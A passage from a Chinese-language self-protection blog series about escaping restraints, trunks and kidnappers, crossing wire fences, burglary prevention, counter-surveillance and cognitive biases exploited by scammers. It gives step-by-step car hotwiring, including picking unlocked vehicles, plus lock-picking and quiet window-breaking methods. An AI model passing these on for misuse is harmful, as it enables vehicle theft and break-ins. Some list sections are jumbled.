一旦触碰到金属物，将发卡往下拉，然后向右。⚠最重要的一点，注意这是两个不同的动作：一旦发卡到位了，先试往下拉，接着向右，L 状路径 …… 不要尝试以一定的角度拉动，那样是打不开的。

故障排除

「图」

把发卡弯折出小的角度是完全能够做到的，只需要将末端向上弯折成小小的角，再试一次。

一定要先向下拉，再向右拉，这样就可以顺利打开。不要太用力，整个过程并不需要使用太大的力气。

方法2: 条状发卡制作的垫片

「图」

步骤1: 工具

「图」

你需要的是基本款式的条状发卡，啪的一声就能扣上的那种。这个工具也需要您提前制作。

最终的目的是将发卡改造成一个垫片，能用来阻挡手铐锯齿部位，不让它们锁住。

首先要做的是将发卡从中段折断，只要向上弯折就能轻松折断。接着你需要折断发卡顶部较大的圆形部分。可以用钳子钳住这一部分来回弯折，直至断裂。

现在你就有了两个薄薄的金属片，它们的一端贴在一起形成一个 “V” 字形。V字形的开口处可能有些弯曲，所以用钳子将它们拉直。发卡的末端要尽可能直。

步骤2: 插入垫片

「图」

在这种方法中，你只需要对付手铐中锯齿部位插入铐环的那部分。

拿出改装成垫片的发卡，插入锯齿嵌入铐环的那部分空间。将垫片按在锯齿上，接着迅速一直推到底。

☞往锯齿上按，一开始会给你推动垫片的冲劲。一旦垫片推到无法再推的地步，就在那里停住，接下来就可以提出铐环了—— 垫片阻挡了锯齿，所以无法扣紧，铐环因此打开。

您可以通过搜索 “escape handcuffs using a bobby pin or a hair barrette” 查找演示视频。

关于后备厢的挑战

「图」

这是一种非常刺激的挑战。

在掌握摆脱手铐的技术后，训练就会进入这一层面—— 实践在双手被铐住、头被蒙住的情况下，从封闭的汽车车厢中逃生。

这听起来似乎非常有难度，但如果您了解该怎么做，大多数人在几分钟内就可以完成逃脱。

如果您想冒个险，可以自己试试看。

首先是，别着急，慢慢行动。汽车后备厢非常狭小幽闭，置身其中的人会导致血压飙升，促使您感觉自己不得不加快动作。不要这样做！不能着急，着急会起反作用，你要安抚自己慢慢来。

如果弄丢了弯曲发卡或垫片，在黑暗之中想要再找到它是很困难的。所以您应该集中精力，不要让紧张干扰到您的行动。

还要记住的一点是，所有新型轿车中都有能在黑暗中发亮的应急释放拉杆，找到这个拉杆应该不会太费力。但如果是被关在一个老式的车子里呢？

同样，不要慌。后备厢的锁不会特别牢固，您要做的是，四肢着地，用后背去撞厢壁—— 它可能会弹开，不过也将取决于车型。

那么其他选择呢？踢开后座。如果您最终要挑战这种方法，请先确保上述那些方法都已经尝试过了—— 而且还需要队友的合作，一旦遇到什么问题，他可以拉你出来。

搜索 “to escape when you’re trapped in the back of a vehicle” 选择 “videos”，以找到视频演示。

你被绑架了—— 现在该怎么办

「图」

您绝对应该尽一切力量击败潜在的绑架者。

现在不是抱怨的时候，而是要去踢、去撞、尖叫、利用一切可以利用

的东西。

⚠您需要知道的是：被绑架的前24小时至关重要。绑架者一旦得手，他们很可能会迅速转移你，有可能将你转移到安全的房间中，甚至转移多次，这样搜寻起来会更加困难。

您必须牢记，不论需要付出多少代价，一定要抢在前24小时内逃生。

除了转移的地理位置还不太远之外，这段时间内您的体力也最强。换句话说，你的肚子还是饱的，体内水分充足。如果超过24小时，这一切都会每况愈下，你的体力会大大减弱，逃生也变得更困难—— 绑匪绝不会给你足够的吃喝，他们需要保持你的虚弱。

一旦局势明朗，你还无法击退袭击者，那就让自己表现得顺从一些。不要直视绑匪，低着头表演顺从—— 请注意！这是表演！仅仅是让自己看起来胆怯，尽可能避免绑匪对你实施额外的监管措施。在这种情况下你可以更容易择机逃跑。

如果被胶带绑住了，你大声尖叫，声嘶力竭，绑匪就会觉得你难搞，他们就会想把你塞进后备厢里，那绝不是您想要的结果，因为逃离后备厢会更难。

☞表现出顺从的同时，你应该尽可能快速思考自己可以如何逃脱。目标是寻找劫匪的安保方面的疏漏之处。瞄准机会，迅速下手。

就是这样！在下一集中我们将解释如何撬锁、翻栅栏、短路点火发动汽车等等技巧，以帮助您逃离危险之地。下次见。〇

—— 未完待续 ——

原文

如何撬锁、翻栅栏、短路点火发动汽车：在灾难中幸存的方法（5） - iyouport

在灾难中幸存

重点警告！本文中介绍的技巧和方法，仅在您真的明白自己在做什么的情况下，再尝试和练习。本系列内容完全服务于个人安全和自我保护，本网对任何恶意使用所造成的任何伤害，不承担责任。

欢迎回来！

如果您错过了前面的内容，可以在下面回顾：

- 《活下去需要很多知识和技能：在灾难中幸存的方法（1）- 七点规则和态势感知》
- 《准确的情报和判断：基准线—在灾难中幸存的方法（2）》
- 《您必备的基本防身装备：在灾难中幸存的方法（3）》
- 《如何摆脱手铐、绳索、束线带和布基胶带：在灾难中幸存的方法（4）》

首先要说明的是，如果您只是为了练习就去尝试跳过带刺的铁丝网栅栏，不要这样做。这不是游戏。您可能会受伤。

但是，如果在真正需要逃生和躲避的境况下遇到这种情况，您首先应该知道该如何应对。

本文绝非推荐您用短路打火的方法启动汽车，因为那是违法的——除非是您自己的汽车，即使是这样，也不要轻易尝试，对汽车的损伤很大。

但是您真的有必要了解其做法，这样一来，一旦短路打火发动了汽车，然后驾车逃离是唯一的逃命方法时，您就可以胸有成竹了。

下面我们逐一说明这些做法。

带刺铁丝网

「图」

需要的工具：在翻阅栅栏时，需要有一块厚重平整的东西，用来覆盖那些刺。

在紧要关头，你需要的是一条厚毯子、一张旧床垫、或者一块较大的硬纸板。

该怎样做：你可能觉得翻越带刺铁丝网时需要万分小心，但其实没那么难。您可以找到任何东西遮住刺网，然后翻越那个覆盖面。

刀片铁丝网

「图」

刀片铁丝网的设计目的就是让你受伤，试图翻越者有可能严重割伤，进而流血不止而死 —— 至少逃不出太远。

曾经墨西哥边境上一名男子试图翻越这种铁丝网，反而被困在网中了。救援人员花了一个多小时才把他拉出来。这不是特例，仅一年之内就有21个人被这样困住。

除非有绝对的必要您再尝试这种，而且要极为小心。

需要的工具：一组人、拐杖或者其他类似的弯棍，一片平整的东西，就像翻越带刺铁丝网时用的那样。

该怎样做：这需要合作。队伍中派两名队员拿出拐杖或类似的工具，勾住刀片铁丝网，将铁丝网拉弯，直至变平。在这两个人保持拉平的同时，另外两人用平整的工具将铁丝网盖住，然后翻越。

等第一批队员翻越之后，换位工作；让第一批人用工具拉平铁丝网，覆盖，其他人翻越。

如何短路打火发动汽车

「图」

您真的应该希望自己不要碰到这种绝望的时刻—— 只能使用偷车的

方法逃跑。这可不是电影。

再次重申，不要在自己的汽车上练习这种方法，这会导致汽车受损。

合适的汽车

首先您需要挑选一辆合适的汽车，可以在危机的情况下短路打火启动的汽车。看看四周围，有没有没锁门的汽车，或者钥匙扔在座椅上的马大哈。

当然，找到没锁门的汽车是中大奖了。拖车有一套万能钥匙，可以让你进入周围所有轿车。如果一眼望去周围没有拖车，也找不到没锁门的汽车，那么接下来您只需要选择老款车，1999年及之前的那种车子。

实际上如今老款车依旧很多，在路上驾驶时留意一下，您能找到一大把。

需要的工具：

- 钢丝钳和剥线钳
- 钳子
- 一字型螺丝刀
- 锤子
- 绝源手套
- 绝缘胶带

该怎么样做：过程非常简单 …… 也许您可以放一套具体说明在身边，以防危急情况。因为这个技巧极难在平日练习，文字指南防止您在慌乱的情况下忘记具体方法。

1、找到可以短路点火启动的车子之后，将一字螺丝刀像插钥匙那样插入点火装置；用锤子将螺丝刀往里推；转动螺丝刀，就像转钥匙那样；如果转不动就用钳子帮忙。运气好的话这样就可以发动汽车。

2、用螺丝刀起开驾驶杆上下塑料板上的螺丝；挪开塑料板，您会看到下面有几根电线。

3、找到两根红线圈，它们是供电线圈。

4、戴上绝缘手套。

5、割开两根红线的末端，然后用剥线钳剥开绝缘皮。将两根红线的末端捏在一起—— 请注意，是您刚才割开的两根红线一根一边，不要把同一根线拧在一起，那样不行。

6、找到棕色线圈，它是负责连接打火器的。有些车子只有一根棕色线，有的车子有两根。

7、将两根棕色线都割开，从尾端剥开。

8、如果有两根棕色线，将两根线搭在一起，启动汽车。车打燃后，不要让线圈再接触，必须将它们分开放置。可以用绝缘胶带缠起来，避免触碰。这样也能避免您触电。

如果只有一根棕色线，将这根棕色线搭在两根红线上，打燃汽车。车子启动后，将线圈各自分开，用胶带缠住棕色线的末端。就像上面说的那样。

打破车窗

「图」

如果需要打破车窗逃生，而且不被人觉察，那么基胶带就能派上用场。

多撕一些基胶带，在车窗上贴成 “X” 形状。这样能防止玻璃溅得到处都是，尤其是能降低噪音。

另外，使用战术防身笔或者类似的工时，记住，要击打玻璃的角落，不是中间，角落是玻璃最紧绷的地方，也更容易击碎。

撬锁

「图」

开锁工具套装并不贵，用起来也很有意思。如果您能遵循下面的说明，万一哪天朋友和邻居忘带钥匙了，您可以帮个忙。

并没有太复杂。如果您花5～10分钟练习，锁不会损坏；但如果您练了几百次 …… 那个锁就够呛了。所以，如果您需要每天练习2小时，请选择那种对您来说不重要的锁。

上图中这本书在这里下载：https://www.patreon.com/posts/ru-he-qiao-suo-39731213

L形耙子和扭力扳手

「图」

开锁需要的全部工具就是一个L形耙子和一个扭力扳手。

开锁最难的地方在于，使用扭力扳手时您需要找到正确的的压力角度。如果施压过大，锁就会觉得像是受到了侵犯，拒绝打开。要施加最小的力度。

基本来说，每次您觉得力度合适了，都只能施加其十分之一的力度。

所以，当您在按照下列步骤插入扭力扳手时，请记住这一点。练习越多您就越熟练，越容易找到合适的感觉。

步骤**1:** 插入扭力扳手

强调，将扭力扳手插入到锁底的时候，一定要轻。把扳手的长柄松在一边，将手指放在扭力扳手上，一定要将力度降到最小。

步骤**2:** 插入L形耙子

注意！在撬锁的整个过程中，扭力扳手上的施加力度都必须保持一致。如果力度增加，就不会成功。

将L形耙子插入锁孔，脊部朝上。在来回刮耙子的同时，也稍稍向耙顶施力。

把L形耙子想象成牙刷，您就像是在给锁刷牙 …… 就像那样的动作，在锁中进出。

步骤**3:** 找到第五根销

注意，当您哄住了锁，让它相信五根锁销全都操纵到位之后，锁就可以成功打开了。

很常见的情况是，头四根销只需要几秒钟就可以打开，接着需要改变行动，找到第五根。

为了找到第五根锁销，需要改变L形耙子的使用方法。

现在将耙子上下猛拉，一定要确保依旧是将锁前后探到底。当碰到第五根销时，你就感觉到扭力扳手的压力，接着锁就开了。

这可能需要花点时间练习。一旦找准感觉，懂得如何操控工具，您只需要几秒钟就能打开它。

挂锁和档案柜都适用。

您可以搜索 “pick locks” 在网上寻找相关视频。世界顶级黑客 *Kevin Mitnick* 的名片。您可以看到，这张名片折叠起来就是一个撬锁的工具，

如何防止入室侵害行为

「图」

入室侵害的犯罪率一直高居不下。以下是联邦调查局的统计：

- 有1/5的家庭会成为非法入室侵害的受害者；
- 85%的窃贼会在入室侵害之前先侦查情况；
- 50%的窃贼在行动之前会伪装成服务人员，比如快速、维修等等；
- 94%的窃贼在行动之前处于兴奋状态；
- 30%的暴力袭击发生在入室侵害案件中；
- 60%的强奸发生在入室侵害案件中；
- 33%的窃贼是通过没关严的窗户和大门闯入的 ……

窃贼也分两类。白天作案的属于专业级。这些家伙此前已经充分侦查了您家的情况，他们知道您什么时候不在家，趁您上班时破门而入。

另一种是夜间作案的。这种更危险，这类人基本都是嗑药太兴奋了，或者精神有问题，他根本不在乎你是不是在家，事实上他可能还希望你在家，逼迫你帮他打开保险柜。

像罪犯那样思考

「图」

再一次，就像躲避追踪者、防御网络攻击那样，您需要 「对抗性思考

方式」，像敌人那样思考。这样您就可以弄清自己的家是否对窃贼有吸引力—— 只需要做一些简单不贵的改变，就有可能让窃贼跳过您的家。

策略**1:** 侦查周边地区

通过愉快的家庭散步阻止入室侵害——

第一条策略其实非常简单，那就是在您家附近走一圈，同时，您需要仔细观察。

你发现了什么？哪个房子看起来有人居住？就在此刻看起来像是有人在家的样子？哪个房子看起来像没人在家的样子？注意寻找这样的信号。

观察信箱、报纸、快递纸箱等出现的情况；垃圾堆在门口吗？还是门口积满了尘土？门把手上有塞着小广告吗？…… 您肯定知道自己居住的地方有哪些特征能证明一扇住户门后是否有人。

你在等快递包裹吗——

签收快递时要非常小心，这一点至关重要。伪装快递的入室抢劫是很常见的，在全球常见。

正规的递送都需要事先电话联系您，如果没有电话或类似的约定，就不要开门。

物流公司很容易检查快递人员的身份，以及您的包裹的单号，您需要心中有数；如果是其他朋友寄东西给您，需要事先和那位朋友沟通好，了解递送公司和单号，大致的时间等细节。

任何时候，不要仅凭一个人穿着制服或声称他自己为某家公司服务，就轻易相信他。

在中国，小区住宅门的把手上经常会被塞上小广告，是那种塞在那里的，而不是贴在墙上或门上的；如果房子里面的人开门力气过大，那些纸有可能被震落。如果一扇门上被塞了好几张小广告，且多日内仍在那里，也许说明房子里没人。

不要小看那些小广告，也许它们是某种标记。当你看到那种东西时，请及时把它扔掉。

在纽约，窃贼使用黑胶布来做同样的事—— 他们偷偷把一块黑胶布贴在目标住户的窗户玻璃上。如果几天后黑胶布还在那里，说明这间房子里没有人，他就会按计划行窃。

在爱尔兰，窃贼用粉笔做标记。都柏林和利默里克经常出现那种粉笔标记符号，不同的线条代表不同的意思，比如："好目标"、"太危险"、"没什么价值"、"有钱人"、"有警报器"、"已偷过" …… 甚至还有对房子主人的描述，比如"紧张害怕"、"脆弱女性，容易骗"，等等。什么样的线条代表什么意思，窃贼团伙的人自己明白。

相信其他国家也有类似的现象。总之，您需要做的就是，留心您的住宅出现的小广告和罕见的标记，及时清除它们，这一点对保护家人安全来说至关重要。

策略**2** ：侦查自家住宅

再一次，对抗性思考方式—— 像窃贼那样思考，仔细观察自己家里有哪些地方是薄弱环节？如果有人从这里/使用这种方式闯进来，怎么办？

在您家里和周边转几圈，注意每一个有可能藏人的地方；尤其是有院子的住宅，您需要确保如果院子里有人，您和邻居都能够立刻看到，一览无余。

还要注意那些透露了您家里装满值钱东西的信号。炫富是非常危险的事哦！不论在线还是现实中。

车道上停着一辆价值不菲的汽车吗？由于忘了关上百叶窗，在外面的人一眼就能看到超大的平板电视和昂贵的电脑吗？您曾经在线与他人分享位置吗？在社交媒体上晒过奢华的休闲生活吗？ ……

并不是说您不应该享受香车美食和高级家电，我的意思是，您应该保持警惕，不要把财富秀给潜在的罪犯。

☞ 安全大原则：任何时候，陌生人对您的了解越少越好！

策略**3** ：夜间侦查住宅

如上所述，白天侦查已经可以受益良多，夜间重复这一过程也非常重要。

绕行住宅四周，思考如果自己是窃贼，可以怎么做？如果有人躲在垃

圾桶的区域后面或者灌木丛里，你能发现吗？哪个角落太黑以至于藏了人也难以分辨？您家周边的灯光够亮吗？如果有入侵者靠近，您可以及时发现吗？……

就像检查网络和电子设备的安全性一样，您需要特别注意薄弱环节。

在下一集中，我们会详细讨论一些帮助您摆脱恶意的跟踪监视的方法。下次见！〇

重申：本文中介绍的技巧和方法，仅在您真的明白自己在做什么的情况下，再尝试和练习。本系列内容完全服务于个人安全和自我保护，本网对任何恶意使用所造成的任何伤害，不承担责任。

—— 未完待续 ——

原文

特工战斗法帮你摆脱跟踪监视：在灾难中幸存的方法（6） - iyouport

在灾难中幸存

“像间谍那样” 反间谍。从普通到高级对抗

欢迎回来！

如果您错过了前面的内容，可以在下面回顾：

- 《活下去需要很多知识和技能：在灾难中幸存的方法（1）- 七点规则和态势感知》
- 《准确的情报和判断：基准线—在灾难中幸存的方法（2）》
- 《您必备的基本防身装备：在灾难中幸存的方法（3）》
- 《如何摆脱手铐、绳索、束线带和布基胶带：在灾难中幸存的方法（4）》
- 《如何撬锁、翻栅栏、短路点火发动汽车：在灾难中幸存的方法（5）》

本集的内容将介绍如何反跟踪反监视的一些基本技巧。

老读者会知道，我们的 列表-1 中有一个单独的板块 “发侦查—在现实中反监视”，其中收集的内容均为行动者在现实中与政府间谍过招的技巧。您可以用它们来防备任何恶意的侵扰和威胁，包括绑架、抢劫等等。

在行动之前，恶意者一般都会跟踪、观察或监视他们锁定的目标一段时间。绝大多数绑架、抢劫和入室行窃案的受害人都在此之前受到过监视，时长从几分钟、几小时到几天或几周不等。

于是您应该知道，学会摆脱监视、迅速判断自己是否被人跟踪并甩掉跟踪者，是防止侵害的关键。首先以最快速度意识到自己被跟踪，这样才能争取到足够时机采取行动以保证安全。

现在您应该已经了解监视有哪些类型了，最基本的应该知道：跟踪、

偷拍、有目的的社交媒体情报收集、包括黑客入侵，有些时候他们不仅针对您本人，还会针对您周边的人，您的亲密关系、家庭成员、要好的同事和朋友等等。

- 不要错过《如何知道有人正在线人肉你？6个简单的方法》

很大程度上我们无法说明如何警觉全面的监视，比如针对您周边人的监视，于是最好的办法是，让更多人掌握如何识别和摆脱一般监视的方法。当每个人都能具备这样的基本意识和能力的时候，群体安全就能实现了。

敏锐的态势感知

「图」

您需要做的第一步就是以最快速度判断出是否有人在跟踪您。这里必须重申前文中介绍的基本态势感知意识。你需要准确判断哪些信号不正常。

其实并没有那么难。·

比如您是一位女士，在一家大型商场里选手袋。您忽然发现不远处有一位男士神情奇怪，看起来不像是对手袋感兴趣，他的眼睛一直在瞄向周围的人，包括偷偷瞄向您。

您会意识到这种奇怪的“关注”，我们每个人都有这样的直觉，很多时候只是您还没有激发出它、或者您的注意力被恶意操纵了。所以，本系列内容的阅读顺序很重要，第一篇文章中的内容是后面所有内容的基础，即：态势感知。

在手袋区闲逛的男士本来就不会很多，这是基于常识的信号；但这一信号究竟是否能说明出现了问题？你只需要使用一些技巧来测试它。

首先假设这一初步判断是准确的。您可以通过快速转到其他购物区来进行观察。如果对方真的瞄准您了，他肯定会跟随您到下一个购物区，甚至再下一个区域。

这就是情报界使用的概测法：

- 一次＝意外事件
- 两次＝巧合
- 三次＝敌对行为

当然，如上面的例子，那个男人有可能是在帮助女朋友或母亲购买礼物；为了排除这点，您就需要采取探测策略，当第三次转换区域后依旧发现他的存在，那就不再是巧合了。

如我们曾经介绍过的那样，试图行凶的家伙会从跟随您的步速开始，这是很容易判断的指标。

一般情况下毫无用心的陌生人会下意识地避免与您同样的步速，您可以稍微留意下这点，如果两个陌生人出现了相同的行进速度，其中一个人必然会变快或者变慢，以错开同步。但是跟踪者却不会，他们将始终追求与您同步 —— 不论是汽车还是步行。

于是这就是一个很容易判断的指标。

为了确保不被监视，您需要格外注意、保持警惕。专业间谍会注意以下情况：

1、在街上有人靠你太近：正如前面提到的，意图行凶者会跟随您的步速，如果你小步走，他也会小步走以配合你的步伐。您需要注意这点。

2、有人与你对视：一般正常人不会在街上死盯着另一个人看，当出现目光相对时，正常人会立刻错开目光以避免不舒服；但如果有人这样盯着你，请小心，这可能说明有事要发生。

3、有人似乎对你太过关注：如果有人多次在你的日常路线的同一地点、同一时间出现（比如下班途中、放学途中、公交车站、健身房等等），监视这个人，注意他的行动。

不要低估自己的不适感，诸如不安、焦虑、疑惑、怀疑、犹豫和恐惧。

如果以上情况有一项或多项出现，你就有可能已经被监视了。

在汽车里被监视

「图」

在您开车的途中也非常有可能被跟踪。你可能会注意到有一辆从没见过的汽车开过你的小区；在通勤、去杂货店或回家的路上可能看到有辆汽车和你一起转弯。或者有时看到有人开在你前面，接着变换车道，然后它又出现在你的身后。

要做到这样的观察能力，最重要的是记忆力，不要错过我们总结的对记忆力的训练课程！这里面蕴含着很多反侦察反监视技巧。如下：

- 《手表上故事：通过练习和游戏塑造超强记忆力的方法（1）》
- 《操控注意力的小技巧：塑造超强记忆的方法（2）》
- 《不是集中而是”分散”注意力才更有效：塑造超强记忆力的方法（3）》
- 《如何找回失去的记忆？—塑造超强记忆力的方法（4）》
- 《如何操纵他人遗忘和忽略对你来说最敏感的信息—塑造超强记忆力的方法（5）》
- 《迷惑他人的把戏和速记法：塑造超强记忆力的方法（6）》
- 《使用逻辑快速记忆大量信息：塑造超强记忆力的方法（7）》
- 《*掌握*人的心理技巧：塑造超强记忆力的方法（8）》
- 《前瞻性记忆作为行动者的重要能力：塑造超强记忆力（9）》
- 《分析而不是收集，才是情报的灵魂：塑造超强记忆力（10）》
- 《虚假记忆和记忆操纵：塑造超强记忆力（11）》

为了确认是否被跟踪，您可以采取以下办法：

如果是在公路上，先下车，比如假装打电话，然后再回到车上。重新上车后请注意，那辆车还在后面吗？有意识地减速，那辆一只跟在后面的车也同时会减速吗，保持和您同样的速度？比如您一开始以75英里每小时行驶，那么就减到60英里。

这种情况下没有意图的其他车辆会迅速超过您；而有意图跟踪您的汽车会跟随您的减速而减速，以保持它自己始终在您后面。当然，这是只单一的跟踪者，如果是团队行动的政府间谍，他们的同伙车辆会在下一个路口跟上你。

我被监视了，现在该怎么做

「图」

仅仅判断出监视还不够，必须面对跟踪者。

情报人员有5种简单的策略可以用来反监视。这些方法您也可以使用，您不必具备多年侦查经验，也可以使用它们。

这些方法便于实施。能帮您拜托严重的危机。

策略1：停下来转身

「图」

当有人跟踪您的时候，停下来转身的方法很管用，它既可以帮助您判断是否被监视，也能让对方知道您已经对他的行为有所警觉。

如果当时您在行走，那只需要停下脚步转过身，假装有事要做 —— 比如查看电话、系携带、或者假装转身找人。

接着，直视你认为正在跟踪你的那个人。

一般外行的跟踪者在此时就会方寸大乱。他可能会被吓呆，或者至少表现不自然，因为你在攻其不备。这就很容易识别到了。

换句话说，跟踪您的人不可能表现得像街上其他路人那般自然。

策略2：宣告知情

「图」

正如前面所提到的，一旦判定自己被跟踪，很重要的一点就是，让对方知晓您已经对其行为有所警觉。

一旦潜在的危险被察觉，多数坏人都会放弃你。记住，坏人是在寻找理想的施暴对象，宣告您已经意识到他们的存在、知晓他们想要加害于你，此举将让您变得不再是那么适合下手的对象。

策略3：不要当软弱的目标

「图」

换句话说，您不应该成为“理想的施暴对象”。您需要展现出强大的一面，挺直腰背走路，把头抬起来。给一个人打电话，谈论有人在跟踪你，声音要大，动作要明显。

不要担心，把战术防身笔掏出来，准备好使用它。

坏人在视野内挑选施暴对象时他们选择的都是那些看起来懦弱的、或者看起来掉以轻心的人，比如低着头、塌着肩膀。

策略4：待在公共场合

「图」

如果确定被跟踪了，一定不能回家。

表面上看起来家似乎是安全的地方，可以锁起门来打电话求助，但是，这种情况下一定不要这样做。因为坏人会强行闯入，或者假装离开，其实是隐藏起来，计划着晚点时候闯入。

如果发现自己被监视，为了确保安全，需要注意以下事项：# 待在人多的地方，公共场所，打电话求助。比如餐厅、咖啡馆、拥挤的街角等等地方；

- 永远不要走入黑暗的小巷或无人的街道，在那里您会与世隔绝，坏人会更容易对您下手；
- 如果在公共场合被跟踪，例如杂货店。不要走出店铺返回车上。几乎所有坏人都会等在出口处，等你走出来；接下来他们就会跟踪你的车，或者尾随你回家。

1. 这里是完整版《您在什么时候需要假名、匿名和公开在线身份？– 在线创建和管理身份的思考方式》其中包含的所有链接都很重要！
2. 改变早上出门的时间

- 改变通勤路线和时间
- 打乱行为。如果每天在同一家店吃早餐，那就换一家，或者选择不同的时间
- 去之前从未去过的地方购物和用餐
- 下班后挑选不同的回家路线

1. 两辆或更多的汽车

- 道路信息—必须有平行道路

1. 多辆汽车

- 暗语

1. 一组人

- 对讲机

- 周边区域信息

如何行动：实施团队监视需要将一组人马安插在目标可能出现的战略位置。这些人需要通过对讲机进行联系。

如果行动位置是一个大城市，你可以将组员安排在地铁入口、街角、还可以是目标停留的酒店或咖啡馆。监视团队的每个队员都通过对讲机提前通知彼此目标的位置。

👌 非常建议您练习一下想象力，想象自己如果在这种环境下被跟踪，你可以如何甩掉目标。如果您身处险境，知道该如何保护自己也能让人充满力量。

从现在开始，对身边人保持警觉；注意那些在商店里和你一起排队的人；观察餐馆里盯着你看的人；对那些与您*保持*着同一路线的车辆不要掉以轻心。

意识到这些人的存在，正是保证自己的安全需要走出的第一步，保持自信和警觉，这是能救命的。

今天就是这样，希望您已经学到知识。在下一集中我们将汇总一些斗心智的主要方法 —— 避免圈套、以及给被人下套的方法。下次见！○

—— 未完待续 ——

原文

如何欺骗，和如何防骗：在灾难中幸存的方法（7） - iyouport

在灾难中幸存

我们最近学到了一个中文新词，“正面刚”，很有趣。但是在现实中您能遇到的伤害、攻击和威胁，几乎不存在“正面刚”的形式，它们中大多数都是从欺骗开始的。也就是说，如果您能准确识别欺骗，就能及时躲避大多数威胁

欢迎回来！

如果您错过了前面的内容，可以在下面回顾：

- 《活下去需要很多知识和技能：在灾难中幸存的方法（1）- 七点规则和态势感知》
- 《准确的情报和判断：基准线—在灾难中幸存的方法（2）》
- 《您必备的基本防身装备：在灾难中幸存的方法（3）》
- 《如何摆脱手铐、绳索、束线带和布基胶带：在灾难中幸存的方法（4）》
- 《如何撬锁、翻栅栏、短路点火发动汽车：在灾难中幸存的方法（5）》
- 《特工战斗法帮你摆脱跟踪监视：在灾难中幸存的方法（6）》

我们有“心理学和社交工程”栏目，它分布在两个列表中，3-“斗智”和 5-“直接行动”；很明显您可以知道，前者是希望能帮助您防骗，后者则作为行动力，帮助您达成预期目的。

社交工程其实不是个坏东西，它只是种技巧，而且是运用非常广泛的技巧，虽然它总是被与欺骗联系在一起。

社交工程的确是一种心理操纵，它通过入侵人的心理弱点和情感 bug，达到控制行为的目的，让目标做出原本不想做的事。它可以偷走您的银行存款，也有可能帮您戒烟，既可以让焦躁的朋友冷静下来，也可以骗取您的密码以入侵您的账户 …… 这取决于使用目的。

对本文的主题来说，我们只关注恶意的使用，即 纯粹的欺骗和防骗的方法。

欺骗是一门艺术，骗子高手都很擅长玩弄人性弱点，对其加以利用从而达到他们自己的目的。他们是情感游戏大师，深谙各种人类情感 —— 贪婪、好奇、慷慨、恐惧 —— 的操控方法。

类似恐惧这种情感能够帮助您摆脱麻烦，比如在被追杀的时候刺激您的行动力以帮助逃命、在发生火灾的时候警告您的快速反应；但是，这些情感也能把你困住，骗子只要能激发您的刺激性情感，就能控制您的行为。

准确说，上当受骗的人并不是输给了社交工程师，而是输给了自己的认知偏差。

- 《人们为什么相信骗子？》
- 《我是如何上当受骗的？》

我们先说说如何防骗，然后再说怎么骗人。

了解如何防骗的最佳方式是：了解欺骗是如何生效的。

认知偏差

「图」

即便您平日很擅长思考，也无法完全避免认知偏差。

其实认知偏差并不完全是坏事，它是一个捷径，是一种保护机制。人类需要处理各种各样的信息，有时需要立即做出决定，而认知偏差就是大脑在帮助您更快决策时所采取的捷径。

但是，当遇到骗子的时候，认知偏差就会让您陷入麻烦。不过如果能学会警惕几种关键的认知偏差，就不会被骗局所伤害。

上图中这本书在这里下载：https://www.patreon.com/posts/ciaqi-zha-shou-38191969

1、情感启发

「图」

情感启发就是让你立即做出本能反应。这是一种迅速发生的即时性反应，通过情绪反应帮你做出决策。

一般情况下，如果对某个事物有好感，人们就会倾向于推测它会带来有益的影响。也就是说，您的主观感觉会为你对特定情境的解读添油加醋。

举例：如果小时候您在和家人一起度假游泳的时候获得了很多快乐，那么水这个意象就会给您带来愉悦和平静的印象。但如果童年时期差点溺水死亡，水就会让你感觉不安和恐惧。

对水的感觉会直接影响您在现实中对水这一事物的反应。

2、诱导效应

「图」

诱导效应就是在两难抉择之时，让你“意识到”还有第三种选项。“选项3”能让你轻松在前两者中做出选择。

杜克大学的营销专家曾经通过询问一组人的选择偏好，解释了诱导效应的工作原理。

一种情况是，真正超赞的五星级餐厅还要开车走很远，而另一家三星级餐厅就近在咫尺。他给你的选择就是：究竟是为了美食长途跋涉，还是就近就餐，放弃美味？

被测试的这群人无法决定。他们都觉得，如果距离不是那么远的话，五星级餐厅绝对是想都不用想的答案。于是营销专家引出了选项**3**：一家坐落在这两者之间的两星级餐厅，

正是这个选项的出现激发人们选择了就近的三星级餐厅，因为它不论位置还是品质，都胜过了那个选项3。

举例：星巴克有小杯、中杯和大杯，当有了超大杯或高杯的新选择时，多数人都没有考虑附加的选项，也没有选择平时自己会选的小杯，而是直接挑了中杯。

诱导效应就是导致人们下意识地将其他选项与所谓的“新选项”做比较，然后选了稍微大一些的中杯。

3、鸵鸟效应

「图」

当听到好消息时，人们就会希望越多越好；如果是坏消息，哪怕是有用的坏消息，人们也一般宁愿不知道。

就如鸵鸟，把头埋在沙子里，“看不见就相当于不存在”。

举例：鸵鸟效应非常普遍。比如对信息战的揭露如此之多，但那些虚假的用来心理操纵的账户始终还在那里、尤其是始终看起来如此受欢迎。揭露几乎没有起到任何作用，甚至揭露的文章都很少有人关心。

- 在这里看到具体报道《如何在网上兜售谎言？—— 他们承诺可以”按照你的意愿改变任何现实”》

再比如，在花了一大笔钱度假或庆祝节日之后，你会不愿意打开信用卡账单。你知道消息会令人不快，所以就扔在那里直到不得不打开。

4、乐观偏见

「图」

人们希望保有进步的期待，喜欢保持乐观而非采取现实的态度，希望事情比实际要更好。这是一种积极心态，但是，也意味着对潜在的危险毫无防备，处于弱势。

举例：对未来完全乐观的人可能对实际上很有可能发生的大事缺乏准备。也许没有足够的储蓄应对失业危机，也许不会找医生去做年度体检。一旦发生灾难，这样的人很可能会措手不及。

5、近因偏差

「图」

近因偏差指的是，人们倾向于认为近期发生的事 —— 自己当下所看到的任何趋势和模式 —— 可能会影响到未来。人们很容易记住近期事件的影响，因此不喜欢从实际数据出发。不愿承认存在不可测的概率，相反，人们倾向于预估生活会沿着相似的轨迹前进。

经济学上的黑天鹅这个词您一定不陌生。

举例：你可能会认为本地近年来都没有出现过飓风，就不把飓风警报当回事，拒绝采取适当的防御措施。

不要因为认知偏差而上当受骗

「图」

以上只是一些最常见的认知偏差，完整的认知偏差列表比这些要长得多。您可以学习一些方法以避免由于认知偏差而上当受骗。

保持合理的怀疑是保证安全的关键。这并不是说您需要整天担惊受怕，而是说您的态势感知能力必须可以及时提醒您关于危险出现的可能性。

比如在街头，陌生人求您看地图指路的时候，请先花一分钟看看自己身后和周围，有没有奇怪的其他人、有可能埋伏着什么；再比如，当有人敲门自称警察的时候，先拨打当地警局的电话以确认门外的人究竟是不是警察。

保持警惕，不要害怕检查周围环境或验证信息，这样才能保持安全。还记得我们的 “难以被追踪的简单方法” 系列中强调的宗旨吗 —— 零信任，始终验证。

